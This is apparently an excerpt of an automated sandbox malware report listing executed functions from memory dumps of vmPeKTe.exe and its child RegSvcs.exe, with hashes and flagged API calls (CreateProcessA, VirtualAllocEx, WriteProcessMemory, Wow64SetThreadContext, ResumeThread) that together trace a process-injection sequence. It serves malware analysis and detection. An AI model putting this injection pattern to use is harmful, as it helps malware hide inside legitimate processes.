Opcode ID: df3527d988c0042956fbce8a4e6a730517f948542ebdb98a62cd145d05eb140a
Instruction ID: 1b78ff8b41a9c2fb72d8a0fa7783e097e57a7c7799d3770d663c9f1cedc43a4c
Opcode Fuzzy Hash: df3527d988c0042956fbce8a4e6a730517f948542ebdb98a62cd145d05eb140a
Instruction Fuzzy Hash: E201F134B042114BCB26A638A4A472F3BD6EBCA618F1488AAE14AC7381EE21CC124791

Function 06543958 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e132fe6aaf540a251b9101554c9a8b3c1278d780548baa66325f6cd621cad4a2
Instruction ID: 43d93a83e38f1df1b52890eafbc45c083220481d0e93251197e72dfc76508d3f
Opcode Fuzzy Hash: e132fe6aaf540a251b9101554c9a8b3c1278d780548baa66325f6cd621cad4a2
Instruction Fuzzy Hash: CD11CCB1D01219AFCB10DF9AD885ADEFBF8FB48314F10816AE918A7240C375A954CFA5

Function 065442E8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 303c0de1ff88fa08639912d3901c2b68db97cce00323e5b8a72195fe6032d603
Instruction ID: 2e597d8555a838b04767cc572a4d0d0a9a13d53b0f80fddd3d9c58692b3bc092
Opcode Fuzzy Hash: 303c0de1ff88fa08639912d3901c2b68db97cce00323e5b8a72195fe6032d603
Instruction Fuzzy Hash: 4D01AD35B100114BDB68A5AD9464B6FB2CAEBC9B18F14C43AE10AC7344EE61DC424785

Function 0654EE50 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f21eb5b62478114ff311db94a5a04b470336872fa8adf16e584df4c373ada77
Instruction ID: 73ee6d44619f7deb6f2e3ff8e048fbc7ff727925178e800b233d89f389fe05f9
Opcode Fuzzy Hash: 6f21eb5b62478114ff311db94a5a04b470336872fa8adf16e584df4c373ada77
Instruction Fuzzy Hash: C401DC34B104124BCB65A67D94A5B2F73DAFBC8A18F108839E20AC7340EE21DC020785

Function 0654C880 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0522b99552c9656719d8644117fb64691e32c4bfa93213c19f2f58cf1145505f
Instruction ID: ea7539d2173609f8ef491a6f3ed54745a092d5c1ca4e953ded0d2965682312c6
Opcode Fuzzy Hash: 0522b99552c9656719d8644117fb64691e32c4bfa93213c19f2f58cf1145505f
Instruction Fuzzy Hash: 46F02435B22274ABCB20A576EC01ECB7B7AFBC0728F000565F901EB289DB319C41CAD0

Function 0654A3D8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 589d0ece005340d295a4b4b144ce1396ca5e9bc0edac3690092c3612227cb7f2
Instruction ID: edb3ec54140de6c1b3d8cdecc40e29dc6ae6ab505253fc5a227815ae218fd93b
Opcode Fuzzy Hash: 589d0ece005340d295a4b4b144ce1396ca5e9bc0edac3690092c3612227cb7f2
Instruction Fuzzy Hash: 78018135B105144BDBA8EA7CE565B2E73D6E789B94F10C438E60AC7348EE22EC018B85

Function 06546540 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e40c5c066b2e58c197fbd85d182d1ec74d4f723377f746431b88503106758e
Instruction ID: 8f26bcc451498620b6a73dbcc431a9cfd36e904e1d02c5994237dc4bf4b4d4ba
Opcode Fuzzy Hash: 99e40c5c066b2e58c197fbd85d182d1ec74d4f723377f746431b88503106758e
Instruction Fuzzy Hash: 26E09271E15248ABEB60DE74894979A7B69E742208F5044F5E808CB106E576CD018B92

Analysis Process: vmPeKTe.exePID: 8140, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	138
Total number of Limit Nodes:	7

Executed Functions

Function 08F5CBAE Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 08F5CDEE

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 84b194fc2d489331ca7d44e79eb79e0f50285aa6eb379b547cdf2eeb0039b370
Instruction ID: e0fdaa375997763957be9f9e481b6d85b661af5f15f794dde41631418e321909
Opcode Fuzzy Hash: 84b194fc2d489331ca7d44e79eb79e0f50285aa6eb379b547cdf2eeb0039b370
Instruction Fuzzy Hash: 51A18C71D00759CFEB20CF68C8817EEBBB2BF48301F0485A9E959A7240DB749981CF91

Function 08F5CBB8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 08F5CDEE

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b9a7f9395a75c0c767d8cabfac1a044885f6277516cbacaf04a2b223074dc5ee
Instruction ID: fbff1008cf12fb59a2b9eee7f01617e5ea430ad2b2e9d1529821011abb13f10c
Opcode Fuzzy Hash: b9a7f9395a75c0c767d8cabfac1a044885f6277516cbacaf04a2b223074dc5ee
Instruction Fuzzy Hash: D9917C71D00759CFEB20CF68C885BEEBBB2BF48311F148569E919A7240DB749A85CF91

Function 07B88708 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1495612436.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b80000_vmPeKTe.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 232fce199e10e09779f5866d6f4afc65f6e1e29dc88f6eed5b59f4e29e9b0215
Instruction ID: f39c4f2f21fbd2ec4cc3e44949c4ed944945247776351baa75cea007c8a17235
Opcode Fuzzy Hash: 232fce199e10e09779f5866d6f4afc65f6e1e29dc88f6eed5b59f4e29e9b0215
Instruction Fuzzy Hash: 59318BB6900349DFDB11DFA9C840ADEBFF8EF49310F18809AE958A7211C3359954CFA1

Function 08F5C928 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 08F5C9C0

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fb78e5033cdb6607bbe1e317348e74aa79cf08ba6d91756c7cc7fa6721a3e27a
Instruction ID: 4aae5b034fab0fe92cdcf8c6a46e742b3a6ba1b7e047f374b0821ec2d981e6d0
Opcode Fuzzy Hash: fb78e5033cdb6607bbe1e317348e74aa79cf08ba6d91756c7cc7fa6721a3e27a
Instruction Fuzzy Hash: BF2146B1900349DFDB10CFAAC885BDEBBF5FF48310F54882AE959A7240C7799940CBA1

Function 08F5C930 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 08F5C9C0

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c73ed9d50e17015c775ffce65357ab5202799c5079e7e71082c3b63f1f1ad481
Instruction ID: 24d7fc050dfb7182bed563d5929c82691174094398402ea2ce38a7d21bb5290b
Opcode Fuzzy Hash: c73ed9d50e17015c775ffce65357ab5202799c5079e7e71082c3b63f1f1ad481
Instruction Fuzzy Hash: 3C2124B1900349DFDB10CFAAC881BDEBBF5FF48310F14882AE959A7240D7799944CBA4

Function 08F5CA1A Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08F5CAA0

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 78594360a2fb2a9a2175a9629a377f5b75f7b5c330799992e2b30ac877dde7cb
Instruction ID: 0eb70b53fd75dcf37623a008167462e0a16b1b15a3da0e56d1c6d99968e934aa
Opcode Fuzzy Hash: 78594360a2fb2a9a2175a9629a377f5b75f7b5c330799992e2b30ac877dde7cb
Instruction Fuzzy Hash: AE213671C003499FDB10CFAAC841BEEBBF5FF48310F54842AE959A7251D7399500CBA1

Function 08F5C790 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08F5C816

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6fcd9a35ae7b59e6294836bd83029e277f9c89387df5bb80696c43c76ad44caa
Instruction ID: a71c0e00e9add3bc548f694f23f988dd1e62900d57473a706d543a47c6b89b9a
Opcode Fuzzy Hash: 6fcd9a35ae7b59e6294836bd83029e277f9c89387df5bb80696c43c76ad44caa
Instruction Fuzzy Hash: C2215771D003489FDB10CFAAC8857EEBBF4EF49214F54842AD559A7341C7789945CFA1

Function 08F5CA20 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 08F5CAA0

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 944218cdb520f10245fb79a41291508db4ddf955ff43de184957fb3564e9073a
Instruction ID: 105cafa6493cca063e4f1880eb52abe650a6eec2302f4a5436b1fc5ae0fd921e
Opcode Fuzzy Hash: 944218cdb520f10245fb79a41291508db4ddf955ff43de184957fb3564e9073a
Instruction Fuzzy Hash: 392125B1C003499FDB10CFAAC881BEEBBF5FF48310F54842AE919A7240D7799940CBA5

Function 08F5C798 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 08F5C816

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 3d02669d8929c5ec096165086bb63175133249cfe7882ea80e5a631ed51bc064
Instruction ID: b66dca97a12ce86365b19e10d4c11f37de278e1fad6b6ce00a97d3f5cc4d6b99
Opcode Fuzzy Hash: 3d02669d8929c5ec096165086bb63175133249cfe7882ea80e5a631ed51bc064
Instruction Fuzzy Hash: B9214771D003098FDB10DFAAC4857EEBBF4EF48320F54842AD919A7240CB789945CFA1

Function 08F5C868 Relevance: 1.6, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08F5C8DE

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 96b8b8ffd6136aeeaeb310162da5aef44cba8793ae6281ab9fa80366f39fc5f3
Instruction ID: 89c8b22c8f47b8dceff4bcd5ded8337de99d09670926c886c0ef311cc7e45cba
Opcode Fuzzy Hash: 96b8b8ffd6136aeeaeb310162da5aef44cba8793ae6281ab9fa80366f39fc5f3
Instruction Fuzzy Hash: 502186728003489FDB10CFAAC844BDFBFF5EF89324F24881AE519A7210C73A9500DBA1

Function 07B8670C Relevance: 1.6, APIs: 1, Instructions: 56
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,07B88722,?,?,?,?,?), ref: 07B887C7

Memory Dump Source

Source File: 0000000B.00000002.1495612436.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b80000_vmPeKTe.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 2edc340d09ee6e5342198fc5f55542fd145309a7a1fe38ff61efc6fee0cfe526
Instruction ID: a461be407010579adb129a2d0619b69f6e71cdf3c3034ddd76d29181729b81fa
Opcode Fuzzy Hash: 2edc340d09ee6e5342198fc5f55542fd145309a7a1fe38ff61efc6fee0cfe526
Instruction Fuzzy Hash: 041114B5800249DFDB10DFAAD844BDEBBF8EB48310F54845AE515A7210C375A954CFA5

Function 08F5C870 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 08F5C8DE

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cbdcda304c371ad98620a9821ac18fdc7be9cab69b82a180322f0847149201f6
Instruction ID: b853d05d707ae6a0ef756134b379cd8dc6d4ce49029768bc28c1dfc1ec463069
Opcode Fuzzy Hash: cbdcda304c371ad98620a9821ac18fdc7be9cab69b82a180322f0847149201f6
Instruction Fuzzy Hash: BF1126718003499FDB10DFAAD845BDEBBF5EF88310F24881AE519A7250C7799540DBA1

Function 00BCF2B8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 00BCF31D

Memory Dump Source

Source File: 0000000B.00000002.1483196500.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_bc0000_vmPeKTe.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b10e8fc0ab5078943c1a00fa819749cfc8926755f7c5d745eb7c52f187af6dbd
Instruction ID: 7cc6d467d8911c9fefe680488b9d526091afebcde944d96dd32d364297387bf2
Opcode Fuzzy Hash: b10e8fc0ab5078943c1a00fa819749cfc8926755f7c5d745eb7c52f187af6dbd
Instruction Fuzzy Hash: BF11EFB1844388CFDB10CF96E0047EEBFF4EB04314F54849DD588A7242D3799A08CBA9

Function 08F5C6E7 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 08F5C74A

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: edc3ab00ff7af3f1f73bfbb783fd739154a874442080e37ad969de35c4d3075e
Instruction ID: de2c46905a110ac87cdcb8f5df1a5c6492e071431d013331840f17245b69b416
Opcode Fuzzy Hash: edc3ab00ff7af3f1f73bfbb783fd739154a874442080e37ad969de35c4d3075e
Instruction Fuzzy Hash: 97115871D003488FDB20DFAAD4457EEFBF4AB88210F248419D51AA7240C7755544CF94

Function 08F5C6E8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 08F5C74A

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 179f7c4101e0933176a27c5e2ce858a48d4fb404a5cae068e666641ffc699163
Instruction ID: d1947ffef7fdf27f252e1a9f7a571d1e7a6ec1c920a6c7764d1c8c49a216bbc6
Opcode Fuzzy Hash: 179f7c4101e0933176a27c5e2ce858a48d4fb404a5cae068e666641ffc699163
Instruction Fuzzy Hash: B8113A71D003488FDB10DFAAD4457DEFBF4AB88614F248419D519A7240C775A544CBA5

Function 08F5BFE8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 08F5FCFD

Memory Dump Source

Source File: 0000000B.00000002.1506570798.0000000008F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8f50000_vmPeKTe.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c58e4ab2b0137073c4095cf18d7be0a70b02e1b8e12561a7dab4ccb1216c2f0b
Instruction ID: aefecb6155ab61e808a5da5ce12ecb142d35f348101ec049150e15c70ea13197
Opcode Fuzzy Hash: c58e4ab2b0137073c4095cf18d7be0a70b02e1b8e12561a7dab4ccb1216c2f0b
Instruction Fuzzy Hash: 3511F5B5800349DFDB10DF9AD445BDEBBF8EB48310F108459E914A7200D375AA44CFA5

Function 00A8D3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1482019673.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a8d000_vmPeKTe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca3d2ef6d03294b5a18bf9ab4e2b8a5c55902529f6dece2c9c340c7f4aba0a84
Instruction ID: 70ba56dc9595d70c6589e6c05dfb99261dc875513560b46f4f6595eab6262603
Opcode Fuzzy Hash: ca3d2ef6d03294b5a18bf9ab4e2b8a5c55902529f6dece2c9c340c7f4aba0a84
Instruction Fuzzy Hash: D121F5B2504244EFDB15EF14D9C0F26BF75FB94314F24C569E8090B696C336E856CBA2

Function 00A9D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1482183974.0000000000A9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a9d000_vmPeKTe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d4a16761288b974e06c6a7cf9cbd3ba1b86bfb8ef26077e1eb9a8efad2db68
Instruction ID: 065385d1385313d3d8f63f837347531b99e2cb1ce87f46c24f82847df1587388
Opcode Fuzzy Hash: 64d4a16761288b974e06c6a7cf9cbd3ba1b86bfb8ef26077e1eb9a8efad2db68
Instruction Fuzzy Hash: C921F271604344EFDF14DF24D984B26BBA5FB84314F24C569E84A4B286C33AD887CA62

Function 00A9D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1482183974.0000000000A9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a9d000_vmPeKTe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08555e285403cfaebe0761156cd50c2564e3171b10d65e5c00917c1ce81144f
Instruction ID: 9125175d04229fc2c8f4855cc13d7eb4586dea00a4590473983378a2a8c99800
Opcode Fuzzy Hash: c08555e285403cfaebe0761156cd50c2564e3171b10d65e5c00917c1ce81144f
Instruction Fuzzy Hash: 302104B5604304EFDF05DF64D9C0B26BBA5FB84314F24C6ADE8094F296C336D886CA62

Function 00A9D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1482183974.0000000000A9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a9d000_vmPeKTe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21acb93e24e15a95e07091f200764ee86239bc43e4c5c452174949b9e00a6e59
Instruction ID: 7856a85382edfb58e0e4793ae879487915e891e17b46d7d90805c60b6ab588b4
Opcode Fuzzy Hash: 21acb93e24e15a95e07091f200764ee86239bc43e4c5c452174949b9e00a6e59
Instruction Fuzzy Hash: 052192755093809FDB02CF20D990715BFB1EB45314F28C5DAD8498B697C33AD84ACB62

Function 00A8D3AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1482019673.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a8d000_vmPeKTe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1964494f132f00775c0e221f472ab769a33717f3edcd57285c8181465a4d2f
Instruction ID: 903ca1fc6f0ee47f4451001f48f5dd123e2eb21a32b868ae2b03f61be94de410
Opcode Fuzzy Hash: 0d1964494f132f00775c0e221f472ab769a33717f3edcd57285c8181465a4d2f
Instruction Fuzzy Hash: 1811D376504280DFCB15DF10D9C4B16BF71FB94314F24C5A9D8490B656C336E856CBA2

Function 00A9D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1482183974.0000000000A9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a9d000_vmPeKTe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction ID: d95557b923fcb8ca72995d58b9b032197e23c5096ada7e801de8c4897e7dbc1c
Opcode Fuzzy Hash: a6f14a2633b0976cf55fba98dc8f49a251bcab79b87bdac7509de7911a20ab2c
Instruction Fuzzy Hash: 0F118B75A04280DFCB15CF10D5C4B55FBA1FB84314F24C6A9D8494F696C33AD88ACB62

Function 00A8D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1482019673.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a8d000_vmPeKTe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4df09c1dfdd175844a45d1000d7e3e51e6c512533761bfd41cb78f1030019b3f
Instruction ID: e46ee9c4625316159d8dec41b7c8debd2b07495be278a65ff24bfbce28098f86
Opcode Fuzzy Hash: 4df09c1dfdd175844a45d1000d7e3e51e6c512533761bfd41cb78f1030019b3f
Instruction Fuzzy Hash: 27012671004344ABE7206F65DC84B67FBE8EF81764F18C55AED080E2C2D3399800CBB2

Function 00A8D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1482019673.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a8d000_vmPeKTe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a566ea9423a175d262e87e4f92cb59515f56778ef6016a987ecc661ff38c9551
Instruction ID: 1bc7c33e7bcc1e16c787291a11df4c76e90a0f2d5e55e677ba76c8e04273d2ca
Opcode Fuzzy Hash: a566ea9423a175d262e87e4f92cb59515f56778ef6016a987ecc661ff38c9551
Instruction Fuzzy Hash: B5F06D71405344AEE7109F16DC88BA6FFD8EB91734F18C45AED084E286C2799844CBB1

Analysis Process: RegSvcs.exePID: 1608, Parent PID: 8140COMMON

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	4

Executed Functions

Function 066B5670 Relevance: 1.8, Strings: 1, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 066B5D0C

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: f34fbf7731dae908841bd403b7a4b7f6a5d1a4534c02d151284db0f0f7d2c57f
Instruction ID: 247b62680eaaf7044d79c538720ef25fc484086ce200af49bb122dc1afdfa7c8
Opcode Fuzzy Hash: f34fbf7731dae908841bd403b7a4b7f6a5d1a4534c02d151284db0f0f7d2c57f
Instruction Fuzzy Hash: AD22AD71F00215DFDB64DFA4D4806EEBBB2EB85320F20856AD456AB394DB35EC81CB90

Function 066B2429 Relevance: 1.0, Instructions: 1017COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a37808875d33f43418e01c1e084a9a5a25c691a0ca9eb97c5e29a70e608872
Instruction ID: 05d0bd3f17c37d8f87388102c6d81ac4decf3828adfedc8e9e84d2c52ccf6111
Opcode Fuzzy Hash: 88a37808875d33f43418e01c1e084a9a5a25c691a0ca9eb97c5e29a70e608872
Instruction Fuzzy Hash: 2D926630E00204CFDBA4DB68C598AADB7F6FB49314F5484AAD409AB365DB35ED85CF90

Function 066B66C0 Relevance: .8, Instructions: 818COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3884657682.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_66b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65ae8dd21341b404311e77712d9fe9621bddda4f466abb4371d25ad066946c1
